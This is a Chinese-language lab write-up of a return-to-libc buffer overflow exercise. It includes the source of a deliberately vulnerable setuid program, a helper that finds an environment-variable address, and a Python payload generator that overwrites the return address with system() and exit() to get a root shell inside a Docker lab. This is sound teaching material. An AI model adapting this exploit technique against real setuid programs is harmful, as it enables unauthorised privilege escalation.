1.环境搭建

  • 修改flag为学号

  • 构建docker镜像(运行sudo ./build.sh,注意chmod +x修改权限),连接不稳定,可能需要多次尝试

  • 开启docker,禁用ASLR。

  • 使用netstat -antp查看ssh服务状态

  • 登录容器ssh 0.0.0.0 -p 49153 -l seed

2. 漏洞利用

运行镜像中vuln程序,vuln有setuid权限,因此可以尝试通过此来获取root shell。

查看vuln源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif

int bof(char *str)
{
char buffer[BUF_SIZE];
unsigned int *framep;

// Copy ebp into framep
asm("movl %%ebp, %0" : "=r" (framep));

/* print out information for experiment purpose */
printf("Address of buffer[] inside bof(): 0x%.8x\n", (unsigned)buffer);
printf("Frame Pointer value inside bof(): 0x%.8x\n", (unsigned)framep);

strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char input[1000];
FILE *badfile;

badfile = fopen("/home/seed/the_file", "r");
int length = fread(input, sizeof(char), 1000, badfile);
printf("Address of input[] inside main(): 0x%x\n", (unsigned int) input);
printf("Input size: %d\n", length);

bof(input);

printf("(^_^)(^_^) Returned Properly (^_^)(^_^)\n");
return 1;
}

发现输入input长度可以达到1000,可以造成栈溢出攻击获取root shell。

另外发现docker镜像中已将zsh链接到sh,因此只需构造环境变量/bin/sh,使用system('/bin/sh')获取shell即可。systemexit地址如下。

根据vuln返回信息可以获取到input、buffer地址以及栈帧基址。

1
2
3
4
5
seed /home/seed % vuln
Address of input[] inside main(): 0xffffd8d0
Input size: 66
Address of buffer[] inside bof(): 0xffffd7e4
Frame Pointer value inside bof(): 0xffffd8b8

可以计算出从buffer需要溢出0xffffd8b8-0xffffd7e4 = 212个字节可以溢出到ebp。然后ebp返回地址上填入system地址,并添加参数和exit返回地址即可。

参数/bin/sh尝试使用环境变量实现。

构造脚本genv.c获取环境变量地址,

1
2
3
4
5
6
7
8
#include<stdlib.h>
#include<stdio.h>

void main(){
char* shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}

编译genv并上传,获取到/bin/sh地址0xffffdfd5

1
2
gcc -m32 genv.c -o genv
scp -P 49153 ./genv seed@0.0.0.0:/home/seed

构造python脚本,并上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

input_addr = 0xffffd8c0
buffer_addr = 0xffffd7d4
ebp_addr = 0xffffd8a8
system_addr = 0xf7e19360 # The address of system()
exit_addr = 0xf7e0bec0
sh_addr = 0xffffdfd2 # The address of "/bin/sh"

Y = ebp_addr - buffer_addr + 4
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

X = Y + 8
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Z = Y + 4
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("the_file", "wb") as f:
f.write(content)
1
scp -P 49153 ./exp.py seed@0.0.0.0:/home/seed

修改文件权限并执行:

1
2
3
chmod 755 exp.py
chmod 755 the_file
python3 exp.py

其中发现”/bin/sh”环境变量存在偏移0x3,对exp.py稍作修改后重新运行,成功获取到root shell,获取到flag。